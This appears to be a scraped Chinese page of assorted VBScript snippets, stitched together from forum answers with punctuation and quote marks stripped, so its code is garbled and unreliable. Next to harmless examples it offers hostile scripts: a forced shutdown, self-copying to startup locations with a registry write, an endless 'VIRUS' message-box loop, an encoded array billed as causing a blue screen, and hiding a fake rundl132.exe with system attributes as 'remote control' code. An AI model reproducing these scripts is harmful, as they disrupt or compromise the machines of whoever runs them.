1把vbs代码直接保存成vbs为扩展名的文件，双击就可以执行，效果如下2如出现未能执行的情况，可能为文件关联问题，可以在命令行事执行，以D\testvbs为例如下cscript d\testvbs 效果如下；Shell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代码你应该会插入把 创建个文本文档 输入代码 改后缀txt为vbs 双击运行即可。

xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。

电脑vbs代码大全

1、6只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。

2、Dim fso set fso = createobjectquotScriptingFileSystemObjectquotif fsoFileExistsquotc\你好vbsquot then #39有你好vbs的代码 else set fn = fsocreateTextFilequotc\你vbsquot，TruefnWriteLinequotWScriptEchoquot。

3、set vbs=wscriptcreateobjectquotwscriptshellquotset ws=createobjectquotwscriptshellquotdomsgboxquot你好quot，vbexclamation，quotVIRUSquotwscriptsleep 5000loop 已赞过 已踩过lt 你对这个回答的评价是？ 评论 收起 978 20110726 ·。

4、vbs代码如下，这里以打开画图为例，你自己将下面代码中的c\windows\system32\mspaintexe换成你想要启动的程序的路径保存即可#39===代===码===开===始=== set fso=CreateObjectquotScriptingFileSystemObjectquot。

5、k=wshshellrun quotnet1 start ccservicequot，0 #39启动服务 z=wshshellrun quotATTRIB +R +S +H quotquot%systemroot%\java\rundl132exequotquotquot，0 #39加个属性 艾权啊，我是DARK，给你个可以远程控制别人的VBS代码，没事试。

vbs代码大全 百度网盘

for i = 65 to 127循环中间两行代码，从i=65开始循环，每循环一次i+1直到i=127为止 a=i chri 显示i的数值和asc码表代码的字符 例如i=97，a的值就是“97b”s=s+a+chr13 chr13查表即可就。

=HKEY_CLASSES_ROOT\CLSID\2559a1f621d711d4bdaf00c04f60b9f0\Instance\InitPropertyBagquotCommandquot= quotParam1quot=VBS脚本实现整理磁盘碎片功能Set WshShell = WScriptCreateObjectquotWScriptShellquotDim fso， d。

11VBS获取系统安装路径 程序代码set WshShell = WScriptCreateObjectquotWScriptShellquotstrWinDir = WshShellExpandEnvironmentStringsquot%WinDir%quot上面的代码意思是先定义这个变量是获取系统安装路径的，然后我们用quotstrWinDirquot调用这个。

这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34，34，44，118，98，89，101，115，78，111，44，34，34。

工具材料 Sublime Text 01 首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 02 然后第二个脚本是不断的循环一段内容，如下图所示。

4 然后单击“文件”菜单，选择“另存为”，打开对话框5在对话框中输入程序名demo将类型保存为all，选择要保存的路径，然后单击save6在命令提示符下面输入wscript d\demovbs，打开VBS脚本程序7WSCRIPT是。